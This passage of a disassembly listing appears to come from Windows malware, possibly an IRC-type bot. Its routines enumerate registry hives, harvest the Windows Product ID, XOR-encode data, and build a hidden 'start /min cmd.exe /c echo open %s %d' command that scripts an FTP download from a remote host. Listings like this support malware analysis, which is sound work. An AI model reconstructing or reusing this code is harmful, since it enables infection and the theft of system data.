		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B6F+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B64
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2930000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2900000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		call	near ptr 71AB2B66h
		nop
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		call	sub_5F285B
		nop
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403700+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_437AC0	dd 7FE448E9h, 0E9905377h, 777E444Ch, 7F18F6E9h					; ___:0043F018o ...
		db 77h,	0EBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		dd 80FFB3E9h, 7DE9CF77h, 39778101h, 1FBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
		jle	short loc_437B6D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F1D4
		retn	4
; ---------------------------------------------------------------------------


loc_437B01:				; DATA XREF: ___:off_43F1D4o
		push	esi
		mov	esi, ecx
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437B22	proc near		; CODE XREF: sub_409650+4Dp
					; ___:0040AA6Dp
		nop
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A100+5p
					; sub_40FE30+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
